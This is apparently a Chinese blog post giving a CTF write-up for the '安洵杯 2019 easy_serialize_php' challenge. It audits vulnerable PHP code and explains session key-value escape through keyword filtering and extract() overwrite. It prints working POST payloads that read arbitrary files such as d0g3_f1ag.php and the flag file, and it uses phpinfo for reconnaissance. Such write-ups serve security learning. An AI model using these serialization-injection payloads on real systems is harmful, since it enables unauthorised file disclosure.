首页 > 编程语言 >[安洵杯 2019]easy_serialize_php1

[安洵杯 2019]easy_serialize_php1

时间:2024-06-16 21:00:45浏览次数:13  
标签:base64 img serialize 安洵 SESSION 2019 键值 php

知识点: 1. php代码审计

             2. 序列化与反序列化

             3. 键值对逃逸

进入之后开始代码审计~

 <?php

$function = @$_GET['f'];

function filter($img){  
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

filter 这个function 可以看作一个过滤器,具体内容为首先定义了一个$filter_arr数组,数组的内容为:'php','flag','php5','php4','fl1g',又定义了一个$filter的字符串,格式是为了迎合下面的preg_replease()函数,意思就是如果匹配到$filter_arr数组中的内容则将其转换为空,且由于i的缘故,不区分大小写.  

if($_SESSION){unset($_SESSION);}意思是如果存在$_SESSION这个变量,则将其销毁 

 extract()这个函数是个覆盖函数实例如下

 

后面就是一些条件判断的逻辑语句,以及常见的序列化函数,反序列化函数,和编码解码函数~ 

我们继续看可以看到一个maybe you can find something in here!的提示,那么我们可以去尝试查看一下他的php配置信息.

开始构造payload~
 

http://e522700f-ba8c-48c8-8971-8a5b8f126f8b.node5.buuoj.cn:81/index.php?f=phpinfo

 

的确发现了个好东西~

 auto_append_file 是php.ini的配置文件内容,意思是在每个php脚本执行结束后,自动包含该文件,那我们获取flag可能就在这个文件里面.

我们需要想办法获取里面的内容,看一下php代码我们可以知道,当function=show_image的时候,会执行文件包含,那么我们的思路就有了~

我们需要让file_get_contents()中的内容为d0g3_f1ag.php,那么base64_decode()中的内容需要为

ZDBnM19mMWFnLnBocA==,那么$userinfo()的内容中存在img=>ZDBnM19mMWFnLnBocA==的键值对,那么$serialzie_info则需要存在img=>ZDBnM19mMWFnLnBocA==的键值对的序列化内容,所以session中要存在img=>ZDBnM19mMWFnLnBocA==的键值对.

$serialize_info = filter(serialize($_SESSION));=>$userinfo = unserialize($serialize_info);=>file_get_contents(base64_decode($userinfo['img']));

 那么我们需要上面的操作,继续分析代码可以发现,定义session的img键值有两处可以操作

extract($_POST);
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

但是它存在一个sha1的散列函数,而通过extract()也是不现实的,因为他在上面这行代码上面,会被覆盖掉,从途陌路了~

回想一下我们之前提到的extract()函数还没有用到,以及filter的个function也没有从到~

那么我们可以实现以下操作~

键值逃逸~

原理:

当我们的序列化内容为s:4:time;的时候,反序列化没有任何问题,但当内容为s:5:time;的时候time明显不够4个php就会把";"也算进去.

unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉示,例如下


<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_love = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"img\";s:4:\"love\";}";
var_dump(unserialize($a_love));

?>

 

那么我么开始构造payload~

http://5ba0bf65-1cb9-42dc-bdfe-34c1cc11f545.node5.buuoj.cn:81/index.php?f=show_image

post:_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

开始执行,执行过程如下,首先执行$serialize_info=filter(serialize($_SESSION)),将$_SESSION进行序列化,并将phpflag删除.

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );


#结果如下: string(114) "a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

再然后执行$userinfo=unserialize($serialize_info).

经过filter过滤后phpflag就会被替换成空,

s:7:"phpflag";s:48:" 就变成了 s:7:"";s:48:";即完成了逃逸.

两个键值分别被序列化成了

s:7:"";s:48:";s:1:"1";即键名叫";s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行.

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";键名img对应的字符串是d0g3_f1ag.php的base64编码.

右花括号后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被当成孤儿放弃了.

最后执行以及file_get_contents(base64_decode($userinfo['img']));结果如下~ 

 

因为是php代码,浏览器不会将其显示出来需要查看页面元素才可以看到~

 

他告诉我们flag在根目录下的d0g3_fllllllag文件下,那么我们利用刚才的文件读取漏洞再读一下就可以了~

首先要把 /d0g3_fllllllag 转成base64编码 L2QwZzNfZmxsbGxsbGFn

之后构造payload~

http://5ba0bf65-1cb9-42dc-bdfe-34c1cc11f545.node5.buuoj.cn:81/index.php?f=show_image

post:_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

取得flag,游戏结束~ 


 

 

 

 

标签:base64,img,serialize,安洵,SESSION,2019,键值,php
From: https://blog.csdn.net/alwtj/article/details/139722787

相关文章

  • WIndow Server 2019 服务器 MinIO下载并IIS配置反向代理
    1、官网下载并配置下载MinIOServe地址(不需要安装,放在目录就行)https://dl.min.io/server/minio/release/windows-amd64/minio.exe设置账号和密码(cmd)setxMINIO_ROOT_USERadminsetxMINIO_ROOT_PASSWORD123456+++运行程序(添加文件minio.bat并运行)@echooffsetpath=C:\mi......
  • [强网杯 2019]Upload php反序列化代码审计
    进入页面发现有登录,随便注册一个用户登录试试。文件上传?传个试试,结果发现不论怎么上传都没用,还发现了cookie像是反序列化的东西。扫目录看看,发现源码。发现主要文件,做做审计吧。index.php<?phpnamespaceapp\web\controller;usethink\Controller;classIndexextend......
  • fasterxml ToStringSerializerBase报错
    ToStringSerializerBase报错报错内容整合dubbo时报错Causedby:java.lang.NoClassDefFoundError:com/fasterxml/jackson/databind/ser/std/ToStringSerializerBase atcom.fasterxml.jackson.datatype.jsr310.JavaTimeModule.<init>(JavaTimeModule.java:158)~[jackson-dataty......
  • SQL Server 2019下载
    SQLServer2019Enterprise(x64)-DVD(Chinese-Simplified)企业版ed2k://|file|cn_sql_server_2019_enterprise_x64_dvd_2bfe815a.iso|1632086016|58C258FF0F1D006DD3C1F5F17AF3EAFD|/ SQLServer2019Developer(x64)-DVD(Chinese-Simplified)开发版ed2k://|file|c......
  • CSP历年复赛题-P5663 [CSP-J2019] 加工零件
    原题链接:https://www.luogu.com.cn/problem/P5663题意解读:工人是图中的点,传送带是图中的无向边,给出q个询问a,l,判断是否能有一条1号点到a点的路径为l。解题思路:考试的关键是拿分!同样可以来面向数据编程:1、测试点 1∼4,1≤......
  • SQL Server 2019下载及安装教程
    目录 一、下载1.sqlserver2019安装包2.管理工具二、安装1.sqlserver20192.安装管理工具三、用管理工具连接sql二、安装1.sqlserver2019选中下载的iso文件,右击装载。(win10系统可以装载,但有些系统不支持,需要安装DaemonTools软件去打开)​双击运行setup​安装​......
  • windows server 2019 操作步骤和知识点(第一节)
    windowsserver1.1vmwareworkstation作用模拟硬件模拟操作系统步骤安装1模拟硬件文件新建虚拟机典型稍后安装操作系统Mcirosoftwindowswindows10X64win10-1d:/xujiji/win10-12模拟操作系统CD\DVD(SATA)使用ISO映像文件d:\iso\win10..........
  • CSP历年复赛题-P5662 [CSP-J2019] 纪念品
    原题链接:https://www.luogu.com.cn/problem/P5662题意解读:n件物品,t天每天有不同的价格,类似股票,初始有m金币,每天都可以无限次买卖,问最后最多可以达到多少金币。解题思路:考试中一定要学会面向数据编程!1、对于 10%10% 的数据,......
  • C# JavaScriptSerializer序列化时的时间处理详解
    原文链接:https://www.jb51.net/article/122143.htm输出如下图所示: 猜测这里是由于js初始化时间的时候往往是向1970/01/01添加毫秒数,JavaScriptSerializer进行序列化的时候也会格式化为距离1970/01/01到当该时间点GMT+0时间的毫秒数,如果直接反序列化可以看到少了8小时,且......
  • CSP历年复赛题-P5661 [CSP-J2019] 公交换乘
    原题链接:https://www.luogu.com.cn/problem/P5661题意解读:坐一次地铁得到一张优惠券,坐公交可以已使用金额大于等于票价的优惠券,优惠券45分钟之内有效,计算所有乘车记录的总花费。解题思路:采用队列记录所有坐地铁得到的优惠券;每次都将过期优惠券从队列中踢出,保证队列里的优惠券......